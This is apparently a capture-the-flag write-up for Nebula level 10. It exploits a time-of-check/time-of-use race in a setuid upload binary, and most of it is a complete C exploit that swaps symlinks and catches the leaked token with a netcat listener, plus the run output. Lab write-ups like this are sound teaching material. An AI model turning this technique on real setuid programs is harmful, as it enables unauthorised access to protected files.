"Whatever Pages"

Race condition

         Nebula 10 Agenda: “The setuid binary at “/home/flag10/flag10” will upload any file given, as long as it meets the requirements of the “access()” system call”

We have a classic TOCTOU issue. There’s no need for more explanation, because all things are perfectly fleshed out on the wikipedia. I wrote some anchor point which in order is playing with symlinks replacement until succeed:

 1 /** PWN_10.c **/
 2 #include <stdio.h>
 3 #include <stdlib.h>
 4 #include <string.h>
 5 #include <sys/types.h>
 6 #include <sys/wait.h>
 7 #include <sys/mman.h>
 8 
 9 #define BANNER ".oO Oo."
10 #define MOCKUP "some text"
11 #define LISTENER "nc -lk 18211"
12 
13 const int BUFF_SIZE = 64;
14 static int *is_found = 0;
15 
16 int check_success(char *banner, char *data) 
17 {
18     return (strstr(banner, BANNER) != NULL)
19         && (strstr(data, MOCKUP)   == NULL);
20 }
21 
22 void setup_listener() 
23 {
24     char prev_line[BUFF_SIZE];
25     char curr_line[BUFF_SIZE];
26 
27     FILE *fd = popen(LISTENER, "r");
28 
29     while (fgets(curr_line, BUFF_SIZE, fd) != NULL) 
30     {
31         if (check_success(prev_line, curr_line)) 
32         {
33             *is_found = 1;
34             printf("\n\nThe passprase is: %s\n\n", curr_line);
35             pclose(fd);
36         }
37         strcpy(prev_line, curr_line);
38     }
39 }
40 
41 void start_race()
42 {
43     while (*is_found == 0) 
44     {
45         system("ln -sfn /tmp/dummy /tmp/lure");
46         sleep(1);
47         system("/home/flag10/flag10 /tmp/lure 127.0.0.1 & ln -sfn /home/flag10/token /tmp/lure");
48     }
49 }
50 
51 int main(int argc, char *argv[]) 
52 {
53     is_found = mmap(NULL, sizeof *is_found, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
54 
55     pid_t childPID = fork();
56 
57     if (childPID == 0) {
58         setup_listener();
59     } else {
60         start_race();
61     }
62 
63     exit(EXIT_SUCCESS);
64 }

Compile, prepare “/tmp/dummy”, execute and “Veni Vidi Vici”.

 1 level10@nebula:~$ gcc -o pwn PWN_10.c
 2 level10@nebula:~$ echo "some text" > /tmp/dummy
 3 level10@nebula:~$ ./pwn
 4 You don't have access to /tmp/lure
 5 Connecting to 127.0.0.1:18211 .. Connected!
 6 Sending file ..
 7 
 8 The passprase is: 615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
 9 
10 wrote file!
11 Connecting to 127.0.0.1:18211 .. level10@nebula:~$ Connected!
12 Sending file .. wrote file!